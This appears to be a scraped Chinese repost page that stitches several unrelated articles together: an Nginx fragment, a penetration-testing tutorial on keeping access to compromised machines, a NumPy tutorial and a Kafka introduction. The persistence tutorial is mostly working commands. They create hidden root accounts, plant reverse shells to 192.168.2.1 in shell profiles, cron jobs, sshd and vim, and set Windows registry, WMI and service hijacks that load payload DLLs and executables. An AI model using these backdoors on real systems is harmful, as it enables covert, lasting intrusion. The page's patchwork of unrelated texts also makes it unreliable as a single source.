  • nginx_upstream_check_module
  • ngx_http_healthcheck_module

5.3 Nginx 的高可用

以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);

但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?

Nginx 同樣也需要部署多台,架構大概是這個樣子的:

現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

5.4 其他

除了以上的常見功能,強大的 Nginx 還可以:

  1. 限制 IP 訪問頻率和帶寬佔用;
  2. 緩存靜態資源;
  3. 文件壓縮;
  4. TCP 負載;
  5. 防盜鏈;
  6. 等等等等…

總結

我們現在的架構已經變成了:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

滲透測試-權限維持

linux權限維持

添加賬號

一般在具有root權限時可以使用以下2種方式添加root權限用戶

1.通過useradd,後面賬號backdoor/123456

useradd -u 0 -o -g root -G root backdoor

echo 123456:password|chpasswd

2.通過直接對etc/passwd文件進行寫入

perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果

# 123456加密后的結果為AASwmzPNx.3sg

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中

清理以上痕迹

userdel -f backdoor

設置sid位的文件

在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

在高權限時

cp /bin/bash /tmp/.bash

chmod 4755 /tmp/.bash  #設置suid

使用時帶上-p參數

/tmp/.bash -p

清理痕迹

rm -rf /tmp/.bash

通過環境變量植入後門

以下是環境變量的位置

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

寫入shell反彈語句

echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile

這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

以下文件需要高權限,為全局變量

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc

以下為當前用戶的環境變量

~/.bash_profile		#實驗過程中沒有反應
~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
~/bash_logout			#實驗過程中沒有反應

清理痕迹

刪除配置文件中添加的代碼即可

寫入ssh公鑰

首先在本地生成ssh公鑰和私鑰

在自己的~/.ssh/目錄下執行

ssh-keygen -t rsa

會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

id_rsa      id_rsa.pub  known_hosts

xxx為公鑰內容,也就是id_rsa.pub的內容

echo "xxx" >> ~/.ssh/authorized_keys

清理痕迹

刪除目標上的 ~/.ssh/authorized_keys即可

ssh任意密碼登錄

在root用戶時,suchfnchsh命令不需要輸入密碼認證

通過軟連接將ssh的服務進行cp,並重命名為以上命令

ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
/tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口

連接

ssh root@host -p 12345

#密碼隨便輸入即可登錄,並且可登錄任意賬號

清理方式

netstat -antp | gerp -E "su|chfn|chsh"
#找到進程號xxx
ps aux | grep xxx
#找到軟連接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su

修改sshd文件做到無認證登錄

建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

將原先的sshd文件進行轉義

mv /usr/sbin/sshd /usr/bin/sshd

開始使用perl進行寫腳本

echo '#!/usr/bin/perl' > /usr/sbin/sshd
echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd

其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

其中的LF代表開啟的端口號是19526

python2
>> import struct
>> print struct.pack('>I6',19526) 
#輸出的內容為 LF

賦予新文件權限並重啟sshd

chmod u+x sshd
service sshd restart

連接方式

socat STDIO TCP4:172.16.177.178:22,bind=:19526

清除痕迹

#刪除自定義的sshd
rm -rf /usr/sbin/sshd
#將同版本的sshd拷貝到對應目錄下
mv /usr/bin/sshd /usr/sbin/sshd

利用vim可執行python腳本預留後門

先準備個python的反彈shell腳本

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

找到提供vim插件的python的擴展包目錄

vim --version  #查看使用的python版本

找到python的擴展位置

pip show requests

進入目錄

cd /usr/lib/python2.7/site-packages

將內容寫入

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py

運行,並刪除文件

$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

清除痕迹

ps aux|grep vim
#獲取pid
kill pid

計劃任務

因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

這裏藉助python,或者perl都可

使用python

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

使用perl

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

清除痕迹

如果通過crontab -e 不知道為啥會頂掉上一個

crontab -l			#只看得到一個
crontab -r			#刪除所有計劃任務

動態加載庫

使用export LD_PRELOAD=./xx.so

這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

這裏使用以下項目

https://github.com/Screetsec/Vegile

準備2個文件

  • msf的木馬
  • Veglie項目

使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

python -m SimpleHTTP

目標服務器上

wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
wget http://xxx.xxx.xx.xxx:8000/shell

解壓后運行

unzip Vegile.zip
chmod 777 Vegile shell
./Vegile --u shell

清理痕迹

清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

清理思路掛起父進程,清除所有子進程再刪除父進程

windows權限維持

比較常見的windows提取

ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞

計劃任務

拿到shell后先修改編碼

chcp 65001

設置計劃任務,每分鐘調用運行一次shell

schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00

清理痕迹

控制面板->管理工具->任務計劃程序->找到惡意計劃任務
在 操作 中找到調用的腳本,進行文件刪除
刪除惡意計劃任務

映像劫持

在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

清理痕迹

HKLM是HKEY_LOCAL_MACHINE

找到目標的註冊表,將debug內容刪除

環境變量

用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f

清理痕迹

直接找到 開始->用戶頭像->更改我的環境變量

進程退出劫持

在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”

清理痕迹

找到目標的註冊表刪除即可

AppInit_DLLs注入

User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

對HKML註冊表的內容進行修改一般都要system權限

Windows 10

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

其他

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f

這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

清理痕迹

到對應註冊表的位置刪除Appinit_Dlls的值

bits文件傳輸

通過bitsadmin從網絡上下載的時候可以額外執行腳本

bitsadmin /create test

隨意下載
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 

執行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 

啟動任務
bitsadmin /resume test

每次開機的時候會觸發

清理痕迹

bitsadmin /reset

COM組件劫持

將腳本放入com組件中

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f

清理痕迹

刪除註冊表中的路徑值,並通過路徑刪除木馬文件

替換cmd.exe

將sethc.exe(按shift 5下)替換成cmd.exe

takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

清理痕迹

找個原版的setch.exe 覆蓋回去

Winlogon劫持

winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f

清理痕迹

刪除註冊表的shell中的值,並且找到後門文件刪除掉

組策略

需要能遠程登錄到桌面

輸入gpedit.msc打開組策略,需要管理員賬號

在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

清理痕迹

打開組策略找到腳本,刪除即可

修改計算器啟動服務調用的程序

啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

篡改運行腳本
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f

設置自動啟動
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 

啟動服務
sc start IEEtwCollectorService 

返回的是system權限

清理痕迹

將篡改的註冊表改回來,並且刪除目標木馬

MSDTC 服務

MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

清理痕迹

刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

啟動項

啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

也會運行以下註冊表中的腳本

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

需要高權限
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

cmd 啟動劫持

在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

在管理員權限下刪除註冊表的值即可

wmic事件

註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
wmic 
/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 


註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 

綁定事件 過濾器和事件消費者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

手把手教你學Numpy,這些api不容錯過

本文始發於個人公眾號:TechFlow,原創不易,求個關注

今天是Numpy專題的第5篇文章,我們來繼續學習Numpy當中一些常用的數學和統計函數。

基本統計方法

在日常的工作當中,我們經常需要通過一系列值來了解特徵的分佈情況。比較常用的有均值、方差、標準差、百分位數等等。前面幾個都比較好理解,簡單介紹一下這個百分位數,它是指將元素從小到大排列之後,排在第x%位上的值。我們一般常用的是25%,50%和75%這三個值,通過這幾個值,我們很容易對於整個特徵的分佈有一個大概的了解。

前面三個指標:均值、方差、標準差都很好理解,我們直接看代碼就行。

median和percentile分別是求中位數與百分位數,它們不是Numpy當中array的函數,而是numpy的庫函數。所以我們需要把array當做參數傳入。percentile這個函數還需要額外傳入一個int,表示我們想要得到的百分位數,比如我們想要知道50%位置上的數,則輸入50。

除了這些之外,我們還會經常用到sum,min,max,argmin,argmax這幾個函數。sum,min,max很好理解,argmin和argmax的意思是獲取最小值和最大值的索引

這裏返回的索引有點奇怪,和我們想的不同,居然不是一個二維的索引而是一維的。實際上numpy的內部會將高維數組轉化成一維之後再進行這個操作,我們可以reshape一下數組來進行驗證:

這些只是api的基本用法,numpy當中支持的功能不僅如此。我們觀察一下這些函數會發現,它們的作用域都是一組數據,返回的是一組數據通過某種運算得到的結果。舉個例子,比如sum,是對一組數據的價格。std計算的是一組數據的標準差,這樣的函數我們稱為聚合函數

numpy當中的聚合函數在使用的時候允許傳入軸這個參數,限制它聚合的範圍。我們通過axis這個參數來控制,axis=0表示對列聚合,axis=1表示對行聚合。我們死記的話總是會搞混淆,實際上axis傳入的也是一個索引,表示第幾個索引的索引。我們的二維數組的shape是[行, 列],其中的第0位是行,第1位是列,可以認為axis是這個索引向量的一個索引。

我們可以來驗證一下:

可以看到axis=0和axis=1返回的向量的長度是不同的,因為以列為單位聚合只有4列,所以得到的是一個1 x 4的結果。而以行為單位聚合有5行,所以是一個1 x 5的向量。

除了上面介紹的這些函數之外,還有cumsum和cumprod這兩個api。其中cumsum是用來對數組進行累加運算,而cumprod是進行的累乘運算。只是在實際工作當中,很少用到,我就不展開細講了,感興趣的同學可以查閱api文檔了解一下。

bool數組的方法

我們之前在Python的入門文章當中曾經提到過,在Python中True和False完全等價於1和0。那麼在上面這些計算的方法當中,如果存在bool類型的值,都會被轉化成1和0進行的計算。

我們靈活運用這點會非常方便,舉個例子,假設我們要統計一批數據當中有多少條大於0。我們利用sum會非常方便:

bool數組除了可以應用上面這些基本的運算api之外,還有專門的兩個api,也非常方便。一個叫做any,一個叫做all。any的意思是只要數組當中有一個是True,那麼結果就是True。可以認為是Is there any True in the array的意思,同樣,all就是說只有數組當中都是True,結果才是True。對應的英文自然是Are the values in the array all True。

這個只要理解了,基本上很難忘記。

排序

Python原生的數組可以排序,numpy當中的數組自然也不例外。我們只需要調用sort方法就可以排序了,不過有一點需要注意,numpy中的sort默認是一個inplace的方法。也就是說我們調用完了sort之後,原數組的值就自動變化了。

如果寫成了arr = arr.sort()會得到一個None,千萬要注意。

同樣,我們也可以通過傳入軸這個參數來控制它的排序範圍,可以做到對每一列排序或者是對每一行排序,我們來看個例子:

這個是對列排序,如果傳入0則是對行排序,這個應該不難理解。

集合api

numpy當中還提供了一些面向集合的api,相比於針對各種計算的api,這些方法用到的情況比較少。常用的一般只有unique和in1d

unique顧名思義就是去重的api,可以返回一維array去重且排序之後的結果。我們來看個例子:

它等價於:

set(sorted(arr))

in1d是用來判斷集合內的元素是否在另外一個集合當中,函數會返回一個bool型的數組。我們也可以來看個例子:

除了這兩個api之外,還有像是計算並集並排序的union1d,計算差集的setdiff1d,計算兩個集合交集並排序的intersect1d等等。這些api的使用頻率實在是不高,所以就不贅述了。用到的時候再去查閱即可。

總結

今天我們聊了numpy當中很多常用的計算api,這些api在我們日常做機器學習和數據分析的時候經常用到。比如分析特徵分佈的時候,如果數據量很大是不適合作圖或者是可視化觀察的。這個時候可以從中位數、均值、方差和幾個關鍵百分位點入手,再比如在我們使用softmax多分類的時候,也會用到argmax來獲取分類的結果。

總之,今天的內容非常關鍵,在numpy整體的應用當中佔比很高,希望大家都能熟悉它們的基本用法。這樣即使以後忘記,用到的時候再查閱也還來得及。

今天的文章就是這些,如果喜歡本文,可以的話請點個關注,給我一點鼓勵,也方便獲取更多文章。

本文使用 mdnice 排版

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

一文入門Kafka,必知必會的概念通通搞定

Kakfa在大數據消息引擎領域,絕對是沒有爭議的國民老公。

這是kafka系列的第一篇文章。預計共出20篇系列文章,全部原創,從0到1,跟你一起死磕kafka。

本文盤點了 Kafka 的各種術語並且進行解讀,術語可能比較枯燥,但真的是精髓中的精髓!

了解Kafka之前我們必須先掌握它的相關概念和術語,這對於後面深入學習 Kafka 各種功能將大有裨益。所以,枯燥你也得給我看完!

大概是有這麼些東西要掌握,不多不多,預計20分鐘可以吃透:

主題層

主題層有三個兒子,分別叫做:Topic、Partition、Replica。既然我說是三個兒子,那你懂了,是不可分割的整體。

Topic(主題)

Kafka 是分佈式的消息引擎系統,它的主要功能是提供一套完備的消息(Message)發布與訂閱解決方案。

在 Kafka 中,發布訂閱的對象是主題(Topic),你可以為每個業務、每個應用甚至是每類數據都創建專屬的主題。

一個Topic是對一組消息的歸納。也可以理解成傳統數據庫里的表,或者文件系統里的一個目錄。

Partition(分區)

一個Topic通常都是由多個partition組成的,創建topic時候可以指定partition數量。

分區優勢

為什麼需要將Topic分區呢?如果你了解其他分佈式系統,你可能聽說過分片、分區域等說法,比如 MongoDB 和 Elasticsearch 中的 Sharding、HBase 中的 Region,其實它們都是相同的原理。

試想,如果一個Topic積累了太多的數據以至於單台 Broker 機器都無法容納了,此時應該怎麼辦呢?

一個很自然的想法就是,能否把數據分割成多份保存在不同的機器上?這不就是分區的作用嗎?其實就是解決伸縮性的問題,每個partition都可以放在獨立的服務器上。

當然優勢不僅於此,也可以提高吞吐量。kafka只允許單個partition的數據被一個consumer線程消費。因此,在consumer端,consumer并行度完全依賴於被消費的分區數量。綜上所述,通常情況下,在一個Kafka集群中,partition的數量越多,意味着可以到達的吞吐量越大。

partition結構

每個partition對應於一個文件夾,該文件夾下存儲該partition的數據和索引文件。

如圖所示,可以看到兩個文件夾,都對應着一個叫做asd的topic,在該台服務器上有兩個分區,0和2,那麼1呢?在其他服務器上啦!畢竟是分佈式分佈的!

我們進去asd-0目錄中看看是什麼?有後綴為.index和.log的文件,他們就是該partition的數據和索引文件:

現在先不管它們是何方神聖,因為我會在【分區機制原理】這篇文章中詳細描述。

partition順序性

現在,我需要你睜大眼睛看看關於分區非常重要的一點:

【每個partition內部保證消息的順序。但是分區之間是不保證順序的】

這一點很重要,例如kafka中的消息是某個業務庫的數據,mysql binlog是有先後順序的,10:01分我沒有付款,所以pay_date為null,而10:02分我付款了,pay_date被更新了。

但到了kafka那,由於是分佈式的,多分區的,可就不一定能保證順序了,也許10:02分那條先來,這樣可就會引發嚴重生產問題了。因此,一般我們需要按表+主鍵來分區。保證同一主鍵的數據發送到同一個分區中。

如果你想要 kafka 中的所有數據都按照時間的先後順序進行存儲,那麼可以設置分區數為 1。

Replica (副本)

每個partition可以配置若干個副本。Kafka 定義了兩類副本:領導者副本(Leader Replica)和追隨者副本(Follower Replica)。只能有 1 個領導者副本和 N-1 個追隨者副本。

為啥要用副本?也很好理解,反問下自己為什麼重要的文件需要備份多份呢?備份機制(Replication)是實現高可用的一個手段。

需要注意的是:僅Leader Replica對外提供服務,與客戶端程序進行交互,生產者總是向領導者副本寫消息,而消費者總是從領導者副本讀消息。而Follower Replica不能與外界進行交互,它只做一件事:向領導者副本發送請求,請求領導者把最新生產的消息發給它,保持與領導者的同步。

如果對於剛剛所說的主題、分區、副本還有疑惑,那麼結合下面這張圖再思考一下,我相信你就可以玩轉它了:

下圖所示,TopicA,具有三個partition,每個partion都有1 個leader副本和 1 個follower者副本。為了保證高可用性,一台機器宕機不會有影響,因此leader副本和follower副本必然分佈在不同的機器上。

消息層

Kafka的官方定義是message system,由此我們可以知道Kafka 中最基本的數據單元無疑是消息message,它可理解成數據庫里的一條行或者一條記錄。消息是由字符數組組成。關於消息你必須知道這幾件事:

消息key

發送消息的時候指定 key,這個 key 也是個字符數組。key 用來確定消息寫入分區時,進入哪一個分區。你可以用有明確業務含義的字段作為key,比如用戶號,這樣就可以保證同一個用戶號進入同一個分區。

批量寫入

為了提高效率, Kafka 以批量batch的方式寫入。

一個 batch 就是一組消息的集合, 這一組的數據都會進入同一個 topic 和 partition(這個是根據 producer 的配置來定的) 。

每一個消息都進行一次網絡傳輸會很消耗性能,因此把消息收集到一起再同時處理就高效的多。

當然,這樣會引入更高的延遲以及吞吐量:batch 越大,同一時間處理的消息就越多。batch 通常都會進行壓縮,這樣在傳輸以及存儲的時候效率都更高一些。

位移
生產者向分區寫入消息,每條消息在分區中的位置信息由一個叫位移(Offset)的數據來表徵。分區位移總是從 0 開始,假設一個生產者向一個空分區寫入了 10 條消息,那麼這 10 條消息的位移依次是 0、1、2、…、9。

服務端

Kafka 的服務器端由被稱為 Broker 的服務進程構成,即一個 Kafka 集群由多個 Broker 組成,Kafka支持水平擴展,broker數量越多,集群吞吐量越高。在集群中每個broker都有一個唯一brokerid,不得重複。Broker 負責接收和處理客戶端發送過來的請求,以及對消息進行持久化。

一般會將不同的 Broker 分散運行在不同的機器上,這樣如果集群中某一台機器宕機,kafka可以自動選舉出其他機器上的 Broker 繼續對外提供服務。這其實就是 Kafka 提供高可用的手段之一。

controller

Kafka集群中會有一個或者多個broker,其中有且僅有一個broker會被選舉為控制器(Kafka Controller),它負責管理整個集群中所有分區和副本的狀態。

當某個分區的leader副本出現故障時,由控制器負責為該分區選舉新的leader副本。當檢測到某個分區的ISR集合發生變化時,由控制器負責通知所有broker更新其元數據信息。當為某個topic增加分區數量時,同樣還是由控制器負責分區的重新分配。

這幾句話可能會讓你覺得困惑不要方 只是突出下控制器的職能很多,而這些功能的具體細節會在後面的文章中做具體的介紹。

Kafka中的控制器選舉的工作依賴於Zookeeper,成功競選為控制器的broker會在Zookeeper中創建/controller這個臨時(EPHEMERAL)節點,此臨時節點的內容參考如下:

其中version在目前版本中固定為1,brokerid表示稱為控制器的broker的id編號,timestamp表示競選稱為控制器時的時間戳。

兩種客戶端

Kafka有兩種客戶端。生產者和消費者。我們把生產者和消費者統稱為客戶端(Clients)。

向主題Topic發布消息Message的客戶端應用程序稱為生產者(Producer),生產者程序通常持續不斷地向一個或多個主題發送消息。

而訂閱這些主題消息的客戶端應用程序就被稱為消費者(Consumer)。和生產者類似,消費者也能夠同時訂閱多個主題的消息。

Producer

Producer 用來創建Message。在發布訂閱系統中,他們也被叫做 Publisher 發布者或 writer 寫作者。

通常情況下,會發布到特定的Topic,並負責決定發布到哪個分區(通常簡單的由負載均衡機制隨機選擇,或者通過key,或者通過特定的分區函數選擇分區。)
Producer分為Sync Producer 和 Aync Producer。

Sync Producer同步的生產者,即一定要某條消息成功才會發送下一條。所以它是低吞吐率、一般不會出現數據丟失。

Aync Producer異步的生產者,有個隊列的概念,是直接發送到隊列裏面,批量發送。高吞吐率、可能有數據丟失的。

Consumer 和 Consumer Group

消費者

Consumer 讀取消息。在發布訂閱系統中,也叫做 subscriber 訂閱者或者 reader 閱讀者。消費者訂閱一個或者多個主題,然後按照順序讀取主題中的數據。

消費位移

消費者需要記錄消費進度,即消費到了哪個分區的哪個位置上,這是消費者位移(Consumer Offset)。注意,這和上面所說的消息在分區上的位移完全不是一個概念。上面的“位移”表徵的是分區內的消息位置,它是不變的,即一旦消息被成功寫入到一個分區上,它的位移值就是固定的了。

而消費者位移則不同,它可能是隨時變化的,畢竟它是消費者消費進度的指示器嘛。通過存儲最後消費的 Offset,消費者應用在重啟或者停止之後,還可以繼續從之前的位置讀取。保存的機制可以是 zookeeper,或者 kafka 自己。

消費者組

ConsumerGroup:消費者組,指的是多個消費者實例組成一個組來消費一組主題,分區只能被消費者組中的其中一個消費者去消費,組員之間不能重複消費。

為什麼要引入消費者組呢?主要是為了提升消費者端的吞吐量。多個消費者實例同時消費,加速整個消費端的吞吐量(TPS)。

當然它的作用不僅僅是瓜分訂閱主題的數據,加速消費。它們還能彼此協助。假設組內某個實例掛掉了,Kafka 能夠自動檢測到,然後把這個 Failed 實例之前負責的分區轉移給其他活着的消費者,這個過程稱之為重平衡(Rebalance)。

你務必先把這個詞記住,它是kafka大名鼎鼎的重平衡機制,生產出現的異常問題很多都是由於它導致的。後續我會在【kafka大名鼎鼎又臭名昭著的重平衡】文章中詳細分析。

Zookeeper

zookeeper目前在kafka中扮演着舉重輕重的角色和作用~是kafka不可缺少的一個組件。

目前,Apache Kafka 使用 Apache ZooKeeper 來存儲它的元數據,比如brokers信息、分區的位置和主題的配置等數據就是存儲在 ZooKeeper 集群中。

注意我的用詞,我只說是目前。why?在 2019 年社區提出了一個計劃,以打破這種依賴關係,並將元數據管理引入 Kafka 本身。因為擁有兩個系統會導致大量的重複。

在之前的設計中,我們至少需要運行三個額外的 Java 進程,有時甚至更多。事實上,我們經常看到具有與 Kafka 節點一樣多的 ZooKeeper 節點的 Kafka 集群!此外,ZooKeeper 中的數據還需要緩存在 Kafka 控制器上,這導致了雙重緩存。

更糟糕的是,在外部存儲元數據限制了 Kafka 的可伸縮性。當 Kafka 集群啟動時,或者一個新的控制器被選中時,控制器必須從 ZooKeeper 加載集群的完整狀態。隨着元數據數量的增加,加載過程需要的時間也會增加,這限制了 Kafka 可以存儲的分區數量。

最後,將元數據存儲在外部會增加控制器的內存狀態與外部狀態不同步的可能性。

因此,未來,Kafka 的元數據將存儲在 Kafka 本身中,而不是存儲在 ZooKeeper 之類的外部系統中。可以持續關注kafka社區動態哦!

總結

一個典型的kafka集群包含若干個producer(向主題發布新消息),若干consumer(從主題訂閱新消息,用Consumer Offset表徵消費者消費進度),cousumergroup(多個消費者實例共同組成的一個組,共同消費多個分區),若干broker(服務器端進程)。還有zookeeper。

